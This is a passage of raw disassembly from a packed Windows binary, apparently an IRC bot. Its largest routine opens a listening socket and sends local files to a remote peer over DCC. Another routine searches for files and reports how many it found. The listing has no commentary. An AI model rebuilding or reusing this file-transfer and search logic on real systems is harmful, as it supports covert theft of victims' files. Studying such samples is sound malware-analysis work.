		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C09A


loc_40C058:				; CODE XREF: sub_40C040+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2880000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		nop
		call	near ptr 2870C69h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A00
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		call	near ptr 71AB9639h
		nop
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	near ptr 2870000h
		nop
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2860000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		nop
		call	near ptr 2850BF4h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2850505h


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		call	near ptr 2850505h
		nop


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax


loc_40CC1A:				; DATA XREF: Themida_:00594228o
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444AD4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5F76F7
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2850505h
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
